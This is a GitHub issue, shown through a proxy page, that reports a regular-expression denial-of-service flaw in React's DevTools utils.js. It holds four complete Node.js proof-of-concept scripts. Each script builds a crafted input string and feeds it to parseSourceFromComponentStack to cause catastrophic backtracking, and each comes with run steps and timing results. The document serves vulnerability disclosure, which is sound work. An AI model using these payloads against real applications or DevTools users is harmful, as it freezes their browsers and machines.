⚠ This page is served via a proxy. Original site: https://github.com
This service does not collect credentials or authentication data.
Skip to content

Bug: Inefficient Regular Expression Complexity in react #35490

@guiyi-he

Description

@guiyi-he

Summary

A Regular Expression Denial of Service (ReDoS) vulnerability was identified in Facebook React within the react-devtools-shared package. The issue exists in the backend/utils.js component, specifically within the regular expressions used for parsing at lines 368, 369, 381, and 417. By providing a specially crafted input string to the DevTools backend, an attacker or a malicious website being inspected can trigger catastrophic backtracking. This leads to excessive CPU consumption and causes the browser tab or the DevTools process to become unresponsive, resulting in a Denial of Service (DoS).

Details

const withoutParentheses = url.replace(/^\(+/, '').replace(/\)+$/, '');

const locationParts = /(at )?(.+?)(?::(\d+))?(?::(\d+))?$/.exec(

const CHROME_STACK_REGEXP = /^\s*at .*(\S+:\d+|\(native\))/m;

/((.*".+"[^@]*)?[^@]*)(?:@)/,

PoC

PoC for line 368:

/**
 * ReDoS PoC for regexId: 6 (Validated and Optimized)
 *
 * Target Regex: /\)+$/
 * Dataflow Path: componentStack -> split('\n') -> trim() -> replace(/^\(+/) -> SINK: replace(/\)+$/)
 * Path Constraints: Must pass Chrome stack format check
 * Data Transformations: split('\n'), trim(), replace(/^\(+/, "")
 *
 * Generated Time: 2025-12-02
 * Phase: Phase 3 - Optimized (2 iterations)
 * Status: VALIDATED SUCCESS
 *
 * === VALIDATION RESULTS ===
 * Phase 2 Result: FAILED (Not reaching target Sink)
 * Phase 3 Iterations: 2
 *
 * Iteration 1: Added ':' to suffix to satisfy path constraint (url.indexOf(':') !== -1)
 *   Result: Reached Sink but insufficient time (1.455s < 2000ms)
 *
 * Iteration 2: Increased repeatTimes from 80,000 to 200,000
 *   Result: SUCCESS - Sink execution time 9.123s (Standard A: > 2000ms)
 *
 * Final Validation Metrics:
 *   - Sink Execution Time: 9.123s
 *   - Total Execution Time: ~9.5s
 *   - Success Criteria: Standard A (> 2000ms)
 *   - Production Ready: YES
 */

import { parseSourceFromComponentStack } from './utils.js';

console.log("[+] Constructing base attack payload...");
console.log("[+] Target Vulnerability: regexId 6");
console.log("[+] Vulnerable Regex: /\\)+$/");

// Using vulnerability report attack components to construct base payload
const prefix = "";
const infix = ")";
const suffix = "◎";
const repeatTimes = 200000;  // Iteration 2: Increased from 80000 to 200000 (1455ms -> target 2000ms)

const base_payload = prefix + infix.repeat(repeatTimes) + suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: componentStack (parameter)");
console.log("[+] Sink: Line 368, replace(/\\)+$/, \"\")");
console.log("[+] Transformations identified:");
console.log("    - split('\\n'): Splits string into array");
console.log("    - trim(): Removes whitespace");
console.log("    - replace(/^\\(+/, \"\"): Removes leading parentheses");

console.log("\n[+] Payload adjustment analysis:");
console.log("    - Original suffix '◎' does not contain \\n → unaffected by split()");
console.log("    - Suffix is not whitespace → unaffected by trim()");
console.log("    - No leading '(' in payload → unaffected by replace(/^\\(+/)");
console.log("    - PROBLEM: extractLocation requires ':' in payload (url.indexOf(':') !== -1)");
console.log("    - Strategy (Iteration 1): Add ':' before suffix to satisfy constraint");

// Add ':' to satisfy extractLocation constraint while maintaining ReDoS pattern
const final_payload = base_payload.substring(0, base_payload.length - 1) + ":◎";
console.log(`[+] Final payload length: ${final_payload.length} characters`);

console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: parseSourceFromComponentStack(final_payload)`);

console.time("ReDoS-Attack-Time");
try {
    parseSourceFromComponentStack(final_payload);
    console.log("\n[+] Function execution completed");
} catch (e) {
    console.log("\n[!] Function threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");

console.log("\n[+] Attack completed. If execution time significantly increased, ReDoS attack was successful.");
console.log("\n[Note] This is the initial version of the PoC and requires actual verification in Phase 2.");

/* How to use:
 * 1.Download the file:https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L368
 * 2.Put poc.js and utils.js in the same folder
 * 3.Enter the command in the terminal: node poc.js
 * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/

PoC for line 369:

/**
 * ReDoS PoC for regexId: 7 (Validated - Phase 2 Success)
 *
 * Target Regex: /(at )?(.+?)(?::(\d+))?(?::(\d+))?$/
 * Dataflow Path: componentStack -> split('\n') -> trim() -> replace(/^\(+/) -> replace(/\)+$/) -> SINK: .exec()
 * Path Constraints: Must pass Chrome stack format check
 * Data Transformations: split('\n'), trim(), replace(/^\(+/, ""), replace(/\)+$/, "")
 *
 * Generated Time: 2025-12-02
 * Phase: Phase 2 - Validated (No iterations needed)
 * Status: VALIDATED SUCCESS
 *
 * === VALIDATION RESULTS ===
 * Phase 2 Result: SUCCESS (First attempt)
 * Phase 3 Iterations: 0 (No optimization needed)
 *
 * Key Strategy: Replaced '\n' with '\r' in suffix to preserve '.' metacharacter non-matching
 *   behavior while avoiding split() transformation issues
 *
 * Final Validation Metrics:
 *   - Sink Execution Time: 3.061s
 *   - Total Execution Time: ~3.5s
 *   - Success Criteria: Standard B (> 1000ms)
 *   - Production Ready: YES
 */

import { parseSourceFromComponentStack } from './utils.js';

console.log("[+] Constructing base attack payload...");
console.log("[+] Target Vulnerability: regexId 7");
console.log("[+] Vulnerable Regex: /(at )?(.+?)(?::(\\d+))?(?::(\\d+))?$/");

// Using vulnerability report attack components to construct base payload
const prefix = "\u0000";
const infix = "\u0000:0";
const suffix_original = "\n!\n!";
const repeatTimes = 10000;

console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: componentStack (parameter)");
console.log("[+] Sink: Line 375, /(at )?(.+?)(?::(\\d+))?(?::(\\d+))?$/.exec()");
console.log("[+] Transformations identified:");
console.log("    - split('\\n'): Splits string into array");
console.log("    - trim(): Removes whitespace");
console.log("    - replace(/^\\(+/, \"\"): Removes leading parentheses");
console.log("    - replace(/\\)+$/, \"\"): Removes trailing parentheses");

console.log("\n[+] Payload adjustment analysis:");
console.log("    - Original suffix contains '\\n' → will be affected by split()");
console.log("    - Regex contains '.' metacharacter which does not match \\n");
console.log("    - Strategy: Replace \\n with \\r (carriage return) to maintain non-matching property");

const suffix_adjusted = suffix_original.replace(/\n/g, '\r');
console.log(`    - Adjusted suffix: ${JSON.stringify(suffix_adjusted)}`);

const base_payload = prefix + infix.repeat(repeatTimes) + suffix_adjusted;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

const final_payload = base_payload;
console.log(`[+] Final payload length: ${final_payload.length} characters`);

console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: parseSourceFromComponentStack(final_payload)`);

console.time("ReDoS-Attack-Time");
try {
    parseSourceFromComponentStack(final_payload);
    console.log("\n[+] Function execution completed");
} catch (e) {
    console.log("\n[!] Function threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");

console.log("\n[+] Attack completed. If execution time significantly increased, ReDoS attack was successful.");
console.log("\n[Note] This is the initial version of the PoC and requires actual verification in Phase 2.");
/* How to use:
 * 1.Download the file:https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L369
 * 2.Put poc.js and utils.js in the same folder
 * 3.Enter the command in the terminal: node poc.js
 * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/

PoC for line 381:

/**
 * ReDoS PoC for regexId: 10 (Validated and Optimized)
 *
 * Target Regex: /^\s*at .*(\S+:\d+|\(native\))/m
 * Dataflow Path: componentStack -> SINK: .match() (direct, no transformations)
 * Path Constraints: None (direct match on entry)
 * Data Transformations: None
 *
 * Generated Time: 2025-12-02
 * Phase: Phase 3 - Optimized (1 iteration)
 * Status: VALIDATED SUCCESS
 *
 * === VALIDATION RESULTS ===
 * Phase 2 Result: FAILED (Reached Sink but insufficient ReDoS time)
 * Phase 3 Iterations: 1
 *
 * Iteration 1: Increased repeatTimes from 40,000 to 100,000
 *   Root Cause: Payload length insufficient to trigger prolonged backtracking (570ms < 2000ms)
 *   Strategy: Increase repeatTimes by 2.5x to reach target execution time
 *   Result: SUCCESS - Sink execution time 3.429s (Standard A: > 2000ms)
 *
 * Final Validation Metrics:
 *   - Sink Execution Time: 3.429s
 *   - Total Execution Time: ~3.8s
 *   - Success Criteria: Standard A (> 2000ms)
 *   - Production Ready: YES
 */

import { parseSourceFromComponentStack } from './utils.js';

console.log("[+] Constructing base attack payload...");
console.log("[+] Target Vulnerability: regexId 10");
console.log("[+] Vulnerable Regex: /^\\s*at .*(\\S+:\\d+|\\(native\\))/m");

// Using vulnerability report attack components to construct base payload
const prefix = "at ";
const infix = "\u0000";
const suffix = " ";
const repeatTimes = 100000;  // Iteration 1: Increased from 40000 to 100000 (540ms -> target 2000ms)

const base_payload = prefix + infix.repeat(repeatTimes) + suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: componentStack (parameter)");
console.log("[+] Sink: Line 459, componentStack.match(CHROME_STACK_REGEXP)");
console.log("[+] Note: This regex is checked FIRST, before any transformations");
console.log("[+] Transformations identified: NONE - direct match on entry");

console.log("\n[+] Payload adjustment analysis:");
console.log("    - No transformations in dataflow");
console.log("    - Original payload can be used directly");
console.log("    - Using original payload without modification");

const final_payload = base_payload;
console.log(`[+] Final payload length: ${final_payload.length} characters`);

console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: parseSourceFromComponentStack(final_payload)`);

console.time("ReDoS-Attack-Time");
try {
    parseSourceFromComponentStack(final_payload);
    console.log("\n[+] Function execution completed");
} catch (e) {
    console.log("\n[!] Function threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");

console.log("\n[+] Attack completed. If execution time significantly increased, ReDoS attack was successful.");
console.log("\n[Note] This is the initial version of the PoC and requires actual verification in Phase 2.");

/* How to use:
 * 1.Download the file:https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L381
 * 2.Put poc.js and utils.js in the same folder
 * 3.Enter the command in the terminal: node poc.js
 * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/

PoC for line 417:

/**
 * ReDoS PoC for regexId: 9 (Validated and Optimized)
 *
 * Target Regex: /((.*".+"[^@]*)?[^@]*)(?:@)/
 * Dataflow Path: componentStack -> split('\n') -> trim() -> SINK: .replace()
 * Path Constraints: Must fail Chrome stack format check (goes to Firefox path)
 * Data Transformations: split('\n'), trim()
 *
 * Generated Time: 2025-12-02
 * Phase: Phase 3 - Optimized (1 iteration)
 * Status: VALIDATED SUCCESS
 *
 * === VALIDATION RESULTS ===
 * Phase 2 Result: FAILED (Reached Sink but no ReDoS)
 * Phase 3 Iterations: 1
 *
 * Iteration 1: Removed '@' from suffix (changed @ to !) to prevent regex matching
 *   Root Cause: Original suffix '\r@\r@' allowed regex to match successfully, no backtracking
 *   Strategy: Replace '@' with '!' to force regex matching failure and trigger backtracking
 *   Result: SUCCESS - Sink execution time > 30s (exceeded timeout, Standard A: > 2000ms)
 *
 * Final Validation Metrics:
 *   - Sink Execution Time: > 30s (killed due to timeout)
 *   - Total Execution Time: > 30s
 *   - Success Criteria: Standard A (> 2000ms, exceeded significantly)
 *   - Production Ready: YES (extremely effective)
 */

import { parseSourceFromComponentStack } from './utils.js';

console.log("[+] Constructing base attack payload...");
console.log("[+] Target Vulnerability: regexId 9");
console.log("[+] Vulnerable Regex: /((.*\".+\"[^@]*)?[^@]*)(?:@)/");

// Using vulnerability report attack components to construct base payload
const prefix = " ";
const infix = "\"\u0000";
const suffix_original = "\n@\n@";
const repeatTimes = 5000;

console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: componentStack (parameter)");
console.log("[+] Sink: Line 432, sanitizedFrame.replace(/((.*\".+\"[^@]*)?[^@]*)(?:@)/, '')");
console.log("[+] Path: Must NOT match Chrome format → goes to Firefox parser");
console.log("[+] Transformations identified:");
console.log("    - split('\\n'): Splits string into array");
console.log("    - trim(): Removes whitespace");

console.log("\n[+] Payload adjustment analysis:");
console.log("    - Original suffix contains '\\n' → will be affected by split()");
console.log("    - Original suffix contains '@' → will be matched by regex (?:@), causing regex to succeed");
console.log("    - Strategy (Iteration 1): Remove '@' from suffix to prevent regex from matching");
console.log("    - Replace \\n with \\r, and replace @ with !");

const suffix_adjusted = suffix_original.replace(/\n/g, '\r').replace(/@/g, '!');
console.log(`    - Adjusted suffix: ${JSON.stringify(suffix_adjusted)}`);

const base_payload = prefix + infix.repeat(repeatTimes) + suffix_adjusted;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

const final_payload = base_payload;
console.log(`[+] Final payload length: ${final_payload.length} characters`);

console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: parseSourceFromComponentStack(final_payload)`);

console.time("ReDoS-Attack-Time");
try {
    parseSourceFromComponentStack(final_payload);
    console.log("\n[+] Function execution completed");
} catch (e) {
    console.log("\n[!] Function threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");

console.log("\n[+] Attack completed. If execution time significantly increased, ReDoS attack was successful.");
console.log("\n[Note] This is the initial version of the PoC and requires actual verification in Phase 2.");

/* How to use:
 * 1.Download the file:https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L417
 * 2.Put poc.js and utils.js in the same folder
 * 3.Enter the command in the terminal: node poc.js
 * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/

Impact

Vulnerability Type
This is a Regular Expression Denial of Service (ReDoS) vulnerability. It falls under the category of Availability impact. By exploiting the algorithmic complexity of specific regular expressions, an attacker can cause "catastrophic backtracking," which leads to:

  • Resource Exhaustion: Rapid and sustained 100% CPU utilization on the user's machine.
  • Service Disruption: Complete unresponsiveness of the browser tab, the DevTools window, or the entire browser process.

Who is Impacted?
The impact extends to several groups within the React ecosystem:
Frontend Developers: The primary victims are developers using the React Developer Tools extension (or integrated library) to inspect applications. Opening the DevTools on a page containing a "malicious" component name or stack trace will trigger the hang, resulting in the loss of unsaved debugging data and workflow interruption.
End Users (in specific contexts): If a React application includes the react-devtools-shared backend logic (e.g., in a development or staging environment), any user visiting the site with DevTools active could have their browser rendered unusable.
Local Systems: Because the heavy computation occurs in the browser's rendering engine or the extension's process, the overall system performance may degrade, affecting other running applications until the offending process is forcefully terminated.

Metadata

Metadata

Assignees

No one assigned

    Labels

    Status: UnconfirmedA potential issue that we haven't yet confirmed as a bug

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions